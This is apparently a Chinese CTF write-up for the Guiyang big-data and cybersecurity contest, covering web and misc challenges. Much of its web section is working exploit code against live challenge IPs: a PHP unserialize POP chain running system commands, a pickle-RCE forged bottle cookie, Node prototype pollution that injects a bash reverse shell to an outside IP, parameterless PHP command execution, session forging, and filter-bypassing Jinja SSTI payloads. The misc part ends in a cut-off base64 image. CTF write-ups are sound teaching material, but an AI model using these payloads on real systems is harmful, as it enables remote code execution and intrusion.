贵阳大数据及网络安全精英对抗赛web&&misc

进决赛了,可以去贵阳面基顺便被暴打了🤡🤡

WEB

pop

 <?php
highlight_file(__FILE__);
class TT{
  public $key;
  public $c;
  public function __destruct(){
      echo $this->key;
  }

  public function __toString(){
      return "welcome";
  }
}

class JJ{
  public $obj;
  public function __toString(){
      ($this -> obj)();
      return "1";
  }
  public function evil($c){
      eval($c);
  }
  public function __sleep(){
      phpinfo();
  }
}

class MM{
  public $name;
  public $c;
  public function __invoke(){
      ($this->name)($this->c);
  }
  public function __toString(){
      return "ok,but wrong";
  }
  public function __call($a, $b){
      echo "Hacker!";
  }
}
$a = unserialize($_GET['bbb']);
throw new Error("NoNoNo");

有一个 throw new Error("NoNoNo"); 限制,可以参考想到fast-destruct,提前触发destruct绕过去

TT::__destruct()
↓↓↓
JJ::__toString()
↓↓↓
MM::__invoke()
 <?php
class TT{
  public $key;
  public $c;
  public function __destruct(){
      echo $this->key;
  }

  public function __toString(){
      return "welcome";
  }
}

class JJ{
  public $obj;
  public function __toString(){
      ($this -> obj)();
      return "1";
  }
  public function evil($c){
      eval($c);
  }
}

class MM{
  public $name="system";
  public $c="cat /flag";
  public function __invoke(){
      ($this->name)($this->c);
  }
  public function __toString(){
      return "ok,but wrong";
  }
  public function __call($a, $b){
      echo "Hacker!";
  }
}
$t=new TT();
$t->key=new JJ();
$t->key->obj=new MM();
$t->key->obj->name="system";
$t->key->obj->c="cat /flag";

echo serialize($t);
#O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;}

然后删一个括号触发fast-destruct:

?bbb=O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;

JUST_LFI

除了改了改名字基本上是https://www.ek1ng.com/SEKAICTF2022.html的原题

http://39.106.153.217:61473/look?file=../../../../../../app/app.py

读源码:

from bottle import route, run, template, request, response, error
from config.secret import key
import os
import re


@route("/")
def home():
  return template("index")


@route("/look")
def index():
  response.content_type = "text/plain; charset=UTF-8"
  param = request.query.file
  if re.search("^../app", param):
      return "大咩大咩!!!"
  req_path = os.path.join(os.getcwd() + "/look", param)
  try:
      with open(req_path) as f:
          fi = f.read()
  except Exception as e:
      return "Wuhu"
  return fi


@error(404)
def error404(error):
  return template("error")


@route("/login")
def index():
  try:
      session = request.get_cookie("user", secret=key)
      if not session or session["user"] == "ggg":
          session = {"user": "ggg"}
          response.set_cookie("name", session, secret=key)
          return template("guest", name=session["user"])
      if session["user"] == "admin":
          return template("admin", name=session["user"])
  except:
      return "baDDDDDDDDDdddddddddddddddd"


if __name__ == "__main__":
  os.chdir(os.path.dirname(__file__))
  run(host="0.0.0.0", port=8080)
http://39.106.153.217:61473/look?file=../../../../../../app/config/secret.py

读key:

key = "Th1sIIIIIIsAAAsecret"

所以直接改一改https://www.norelect.ch/writeups/sekaictf2022/bottle_poem/上那个脚本就能打:

import os, hmac, hashlib, base64, pickle, requests

def tob(s, enc='utf8'):
  if isinstance(s, str):
      return s.encode(enc)
  return b'' if s is None else bytes(s)

def touni(s, enc='utf8', err='strict'):
  if isinstance(s, bytes):
      return s.decode(enc, err)
  return str("" if s is None else s)

def create_cookie(name, value, secret):
  d = pickle.dumps([name, value], -1)
  encoded = base64.b64encode(d)
  sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=hashlib.md5).digest())
  value = touni(tob('!') + sig + tob('?') + encoded)
  return value

class PickleRCE(object):
  def __reduce__(self):
      return (exec,("""
from bottle import response
import subprocess,base64
flag = subprocess.check_output('cat /f*', shell=True)
response.set_header('X-Flag',base64.b64encode(flag))
""",))

session = {"user": PickleRCE()}
cookie = create_cookie("user", session, "Th1sIIIIIIsAAAsecret")

r = requests.get("http://39.106.153.217:61473/login", cookies={"user": cookie})
print(base64.b64decode(r.headers["x-flag"]).decode("ascii"))

JUST_PROTO

app.put('/bkup', (req, res) => {
  let date_stream = Buffer.from(JSON.stringify(date));
  const cmd = ba.redis_set + `date ${date_stream.toString('base64')}`;
  exec(cmd, (err,_,__) => {
      if (err) return res.json({ is_succ: false });
      res.json({ is_succ: true });
  });
});

注意到这里有一个exec(cmd, (err,_,__) 可以执行命令,并且const cmd = ba.redis_set + 一个值,我们观察到/set:

app.get('/set', (req, res) => {
  ba.bababa();
  const {token, key, val} = req.query;
  if (!ba.baba(token) || !val) return res.send("wrong");
  date[token][key] = val;
  res.json({ is_succ: true })
});

这里我们可以用date[token][key] = val; 进行原型链污染,让token=__proto__并且key=redis_set,因为val是一个可控的值,这样我们就可以污染ba.redis_set,然后用val传入想要执行的命令:

import requests

url = "http://39.106.65.214:28822/"
print(requests.get(f"{url}set?token=__proto__&key=redis_set&val=bash%20-c%20%27bash%20-i%20>%26%20%2Fdev%2Ftcp%2F43%2E153%2E175%2E155%2F9383%200>%261%27%3B").text)

仔细ping

扫路径扫到一个flag.php,ping那里直接执行命令读取即可拿到flag:

?ip=nl flag.php

May_be

题目的意思其实就是一个无参数命令执行:

?a=eval(end(current(get_defined_vars())));&flag=system('nl /*f*');

可以看到一个 .ffffffIIIIIII44444444444gggg

?a=eval(end(current(get_defined_vars())));&flag=system('nl /*f*');

显示:

1 #flag单独写在某个文件中 2 #!/bin/bash 3 4 echo $1 > /.ffffffIIIIIII44444444444gggg 

> 符号将标准输出流中的内容重定向到文本中 ,所以直接suid提权用cp把文件输出到标准输出流即可查看内容

?a=eval(end(current(get_defined_vars())));&flag=system('cp "/.ffffffIIIIIII44444444444gggg" /dev/stdout');

notrce

c=cp /flag .

把flag复制到当前目录然后访问/flag即可拿到flag

完美网站

直接curl网站会提示你缺少一个参数n,并且n的范围是30-10以内的数值,网站里那个图片末尾提示了flag在ffffpq.php,base64编码后即ZmZmZnBxLnBocA==,以n为未知数爆破,然后img=ZmZmZnBxLnBocA==读取文件即可

不太喜欢flask的开发

使用tomcat:tomcat登录,以tomcat为密钥进行jwt伪造,加密脚本:

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
  raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
  from abc import ABCMeta, abstractmethod
else: # > 3.4
  from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

  def __init__(self, secret_key):
      self.secret_key = secret_key

if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
  class FSCM(metaclass=ABCMeta):
      def encode(secret_key, session_cookie_structure):
          """ Encode a Flask session cookie """
          try:
              app = MockApp(secret_key)

              session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
              si = SecureCookieSessionInterface()
              s = si.get_signing_serializer(app)

              return s.dumps(session_cookie_structure)
          except Exception as e:
              return "[Encoding error] {}".format(e)
              raise e

      def decode(session_cookie_value, secret_key=None):
          """ Decode a Flask cookie """
          try:
              if(secret_key==None):
                  compressed = False
                  payload = session_cookie_value

                  if payload.startswith('.'):
                      compressed = True
                      payload = payload[1:]

                  data = payload.split(".")[0]

                  data = base64_decode(data)
                  if compressed:
                      data = zlib.decompress(data)

                  return data
              else:
                  app = MockApp(secret_key)

                  si = SecureCookieSessionInterface()
                  s = si.get_signing_serializer(app)

                  return s.loads(session_cookie_value)
          except Exception as e:
              return "[Decoding error] {}".format(e)
              raise e
else: # > 3.4
  class FSCM(ABC):
      def encode(secret_key, session_cookie_structure):
          """ Encode a Flask session cookie """
          try:
              app = MockApp(secret_key)

              session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
              si = SecureCookieSessionInterface()
              s = si.get_signing_serializer(app)

              return s.dumps(session_cookie_structure)
          except Exception as e:
              return "[Encoding error] {}".format(e)
              raise e

      def decode(session_cookie_value, secret_key=None):
          """ Decode a Flask cookie """
          try:
              if(secret_key==None):
                  compressed = False
                  payload = session_cookie_value

                  if payload.startswith('.'):
                      compressed = True
                      payload = payload[1:]

                  data = payload.split(".")[0]

                  data = base64_decode(data)
                  if compressed:
                      data = zlib.decompress(data)

                  return data
              else:
                  app = MockApp(secret_key)

                  si = SecureCookieSessionInterface()
                  s = si.get_signing_serializer(app)

                  return s.loads(session_cookie_value)
          except Exception as e:
              return "[Decoding error] {}".format(e)
              raise e


if __name__ == "__main__":
  # Args are only relevant for __main__ usage
   
  ## Description for help
  parser = argparse.ArgumentParser(
              description='Flask Session Cookie Decoder/Encoder',
              epilog="Author : Wilson Sumanang, Alexandre ZANNI")

  ## prepare sub commands
  subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

  ## create the parser for the encode command
  parser_encode = subparsers.add_parser('encode', help='encode')
  parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                              help='Secret key', required=True)
  parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                              help='Session cookie structure', required=True)

  ## create the parser for the decode command
  parser_decode = subparsers.add_parser('decode', help='decode')
  parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                              help='Secret key', required=False)
  parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                              help='Session cookie value', required=True)

  ## get args
  args = parser.parse_args()

  ## find the option chosen
  if(args.subcommand == 'encode'):
      if(args.secret_key is not None and args.cookie_structure is not None):
          print(FSCM.encode(args.secret_key, args.cookie_structure))
  elif(args.subcommand == 'decode'):
      if(args.secret_key is not None and args.cookie_value is not None):
          print(FSCM.decode(args.cookie_value,args.secret_key))
      elif(args.cookie_value is not None):
          print(FSCM.decode(args.cookie_value))

得到

Cookie:access_token_cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.MX2V32ixhq0AhoU6LAvI5hRtVXAqZsbqJsUAXlDSwiE

带上这个请求头后可以看见题目里有一个ssti的接口,对+_等进行了过滤,参考 通用payload总结 ,拿个ssti payload一把梭

import requests


def getstr(s1):
  i1 = ""
  s5 = ""
  for i in s1:
      i1 += "i~"
      s5 += str(ord(i)) + ","
  i1 = i1.strip("~")
  s5 = s5.strip(",")
  s = f"(({i1})%({s5}))"
  return s


payload2 = """{% for i in ( ((g|lower|list|first|urlencode|first)~(g|lower|list|first|urlencode|last|lower)),) %}{% print ( """ + f"""lipsum|attr({getstr("__globals__")})|attr({getstr("__getitem__")})({getstr("os")})|attr({getstr("popen")})({getstr("cat ./app.py")})|attr({getstr("read")})()""" + """ ) %}{% endfor %}"""
url = "http://39.106.155.180:7856//search?flag=" + payload2
handler = {
  "Authorization": "Basic dG9tY2F0OnRvbWNhdA==",
}
cookie = {
  "access_token_cookie": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.MX2V32ixhq0AhoU6LAvI5hRtVXAqZsbqJsUAXlDSwiE"
}
result = requests.get(url, headers=handler, cookies=cookie)
print(result.text)

it’s time

和上一题相比这道题环境里没有os模块,稍微改一改上一题的脚本即可:

import requests


def getstr(s1):
  i1 = ""
  s5 = ""
  for i in s1:
      i1 += "i~"
      s5 += str(ord(i)) + ","
  i1 = i1.strip("~")
  s5 = s5.strip(",")
  s = f"(({i1})%({s5}))"
  return s


payload2 = """{% for i in ( ((g|lower|list|first|urlencode|first)~(g|lower|list|first|urlencode|last|lower)),) %}{% print ( """ + f"""()|attr({getstr("__class__")})|attr({getstr("__bases__")})|attr({getstr("__getitem__")})(0)|attr({getstr("__subclasses__")})()|attr({getstr("__getitem__")})(117)|attr({getstr("__init__")})|attr({getstr("__globals__")})|attr({getstr("__getitem__")})({getstr("popen")})({getstr("cat /f*")})|attr({getstr("read")})()""" + """ ) %}{% endfor %}"""

url = "http://39.107.234.204:37282/?miniID=" + payload2

result = requests.get(url)
print(result.text)

MISC

传说中的小黑

图片可以分离出一个zip压缩包,并且图片里有一段base64过的文字(这个网站是神中神的在线图片隐写一把梭网站:https://aperisolve.fr/):

base64得到flag{key=FFD8FFE0},用FFD8FFE0可以解开压缩包,里面有一个flag,把flag文件的数据补上FFD8FFE0头即是一个二维码,扫描后得到flag:

wordexcelppt

把文件改zip后缀解压,在_rels/error.xml里找到base64数据:

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